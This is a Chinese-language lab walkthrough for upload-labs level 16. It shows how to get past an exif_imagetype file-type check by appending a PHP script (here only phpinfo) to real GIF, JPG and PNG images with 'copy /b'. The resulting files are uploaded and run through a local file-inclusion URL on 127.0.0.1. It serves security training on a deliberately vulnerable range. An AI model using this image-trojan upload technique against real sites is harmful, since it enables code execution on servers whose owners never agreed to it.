upload-labs通关笔记-第16关 文件上传之exif_imagetype绕过(图片马)
目录
一、exif_imagetype
二、开启exif模块
1、phpstudy设置勾选php_exif模块
2、php.ini文件配置开启php_exif模块
三、源码分析
四、图片马
1、图片马概念
2、图片马制作
五、渗透实战
1、上传图片马
2、利用文件包含访问图片马
(1)jpg
(2)gif
(3)png
本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第16关图片马之exif_imagetype绕过渗透实战。
一、exif_imagetype
exif_imagetype 是 PHP 中的一个内置函数,其用途是判断图像文件的类型。它会读取文件的开头部分,以此识别文件对应的图像类型,并返回一个表示该图像类型的常量。exif_imagetype 原理是通过读取图像文件开头特定字节,这些字节构成文件签名。函数将读取到的签名与预设的各图像格式签名比对,如 JPEG、PNG 等。若匹配到某个格式签名,就返回对应表示图像类型的常量,若未匹配则返回 false。具体语法如下所示。
exif_imagetype ( string $filename ) : int|false
- 参数:$filename:这是需要判断类型的图像文件的路径。
- 返回值:若成功,该函数会返回一个表示图像类型的常量,这些常量如下表所示。
常量名 | 值 | 对应的图像格式 | 文件签名(十六进制) |
---|---|---|---|
IMAGETYPE_GIF | 1 | GIF 图像 | 47 49 46 38 (GIF8) |
IMAGETYPE_JPEG | 2 | JPEG 图像 | FF D8 FF |
IMAGETYPE_PNG | 3 | PNG 图像 | 89 50 4E 47 |
IMAGETYPE_SWF | 4 | Shockwave Flash | 46 57 53 (FWS) 或 43 57 53 (CWS) |
IMAGETYPE_PSD | 5 | Photoshop 文档 | 38 42 50 53 (8BPS) |
IMAGETYPE_BMP | 6 | BMP 图像 | 42 4D (BM) |
IMAGETYPE_TIFF_II | 7 | TIFF 图像(Intel 字节顺序) | 49 49 2A 00 (II*) |
IMAGETYPE_TIFF_MM | 8 | TIFF 图像(Motorola 字节顺序) | 4D 4D 00 2A (MM*) |
IMAGETYPE_JPC | 9 | JPEG 2000 码流 | FF 4F FF 51 |
IMAGETYPE_JP2 | 10 | JPEG 2000 文件 | 00 00 00 0C 6A 50 20 20 |
IMAGETYPE_JPX | 11 | JPEG 2000 文件(JPX) | - |
IMAGETYPE_JB2 | 12 | JBIG2 图像 | - |
IMAGETYPE_SWC | 13 | Shockwave Flash 压缩文件 | - |
IMAGETYPE_IFF | 14 | IFF 文件 | - |
IMAGETYPE_WBMP | 15 | WBMP 图像 | - |
IMAGETYPE_XBM | 16 | XBM 图像 | - |
IMAGETYPE_ICO | 17 | ICO 图像 | 00 00 01 00 |
IMAGETYPE_WEBP | 18 | WebP 图像 | 52 49 46 46 x x x x 57 45 42 50 |
IMAGETYPE_AVIF | 19 | AVIF 图像 | 66 74 79 70 61 76 69 66 |
IMAGETYPE_UNKNOWN | 0 | 未知类型 | - |
二、开启exif模块
exif_imagetype功能正常使用需要开启php_exif模块,具体方法有两种,选择任意一个均可。
1、phpstudy设置勾选php_exif模块
通过小皮工具首页-网站-管理-php扩展-选择勾选php_exif,具体效果如下所示。
2、php.ini文件配置开启php_exif模块
找到对应版本的php.ini文件,搜索exif关键字,找到后注释掉前面的分号即可,如下所示。
三、源码分析
打开upload-labs靶场的第16关,源码如下所示。
如上代码主要功能是实现一个简单的图片上传功能,并且会对上传的文件进行类型检查,只允许上传 GIF、JPEG 和 PNG 格式的图片。通过exif_imagetype检测
白名单图片类型来验证是否为图片,具体分析如下所示。
(1)使用了exif_imagetype()检测真实文件类型,比单纯检查文件扩展名更可靠,能有效防止简单的图片马攻击(如仅修改扩展名)
(2)随机化文件名,使用随机数+日期时间戳生成文件名,防止直接猜测文件路径
但是该关卡未验证文件内容是否为为类型的图片,虽然检查了文件头,但未验证整个文件内容是否真实匹配该类型,故而攻击者可能构造一个带有有效图片头的恶意文件。详细注释的代码如下所示。
<?php
// 定义一个函数,用于判断文件是否为图片,并返回图片类型
function isImage($filename){// 需要开启php_exif模块才能使用exif_imagetype函数// exif_imagetype函数用于读取图片文件开头部分,判断其类型,并返回对应的常量$image_type = exif_imagetype($filename);// 使用switch语句根据不同的图片类型常量进行判断switch ($image_type) {// 如果是GIF图片类型case IMAGETYPE_GIF:// 返回文件扩展名gifreturn "gif";// 跳出switch语句break;// 如果是JPEG图片类型case IMAGETYPE_JPEG:// 返回文件扩展名jpgreturn "jpg";// 跳出switch语句break;// 如果是PNG图片类型case IMAGETYPE_PNG:// 返回文件扩展名pngreturn "png";// 跳出switch语句break; // 如果不是以上列举的图片类型default:// 返回false,表示不是支持的图片类型return false;// 跳出switch语句break;}
}// 初始化一个变量,用于标记文件是否上传成功,初始值为false
$is_upload = false;
// 初始化一个变量,用于存储上传结果的提示信息,初始值为null
$msg = null;
// 检查是否通过POST方式提交了名为submit的表单数据
if(isset($_POST['submit'])){// 获取上传文件在服务器上的临时存储路径$temp_file = $_FILES['upload_file']['tmp_name'];// 调用isImage函数,判断上传的文件是否为支持的图片类型,并返回文件扩展名$res = isImage($temp_file);// 如果返回值为false,说明文件不是支持的图片类型if(!$res){// 设置提示信息,表明文件类型未知,上传失败$msg = "文件未知,上传失败!";}else{// 生成上传文件的最终保存路径,包含随机数、当前日期时间和文件扩展名$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;// 尝试将临时文件移动到最终保存路径if(move_uploaded_file($temp_file,$img_path)){// 如果移动成功,将上传成功标记设置为true$is_upload = true;} else {// 如果移动失败,设置提示信息,表明上传出错$msg = "上传出错!";}}
}
?>
四、图片马
1、图片马概念
图片马是一种将恶意代码隐藏在图片文件中的攻击手段。攻击者通过修改图片文件的二进制数据,将恶意脚本嵌入其中,通常利用Web服务器的文件包含访问图片马来执行恶意代码。
2、图片马制作
对于通过使用exif_imagetype判断是否为图片的情况,使用copy命令制作图片马的方法如下所示。
(1)构建脚本命名info.php
<?php
phpinfo();
?>
(2)准备好3种类型的图片test.gif,test.jpg,test.png
进入到图片文件test.gif,test.jpg,test.png和脚本文件info.php所在的目录
(3)制作图片马
然后执行以下命令即可生成test16.jpg,test16.gif,test16.png三种类型的图片马。
copy /b test.jpg + info.php test16.jpg
copy /b test.png + info.php test16.png
copy /b test.gif + info.php test16.gif
/b
参数的作用是让copy
命令以二进制模式进行文件合并,这样能保证图片文件的二进制数据不被破坏。- test.jpg是正常的图片文件。
- info.php是包含恶意代码的脚本文件。
- test16.jpg,test16.gif,test16.png是最终生成的图片马文件。
生成的图片马效果如下所示。
五、渗透实战
1、上传图片马
打开靶场第16关,上传第四步制作的3张图片马test16.jpg,test16.gif,test16.png,三个图片马均上传成功,右键获取图片马的URL地址,具体如下所示。
2、利用文件包含访问图片马
(1)jpg
http://127.0.0.1/upload-labs/include.php?file=upload/1420211026153704.jpg
(2)gif
http://127.0.0.1/upload-labs/include.php?file=upload/5320211026153647.gif
(3)png
http://127.0.0.1/upload-labs/include.php?file=upload/7820211026153708.png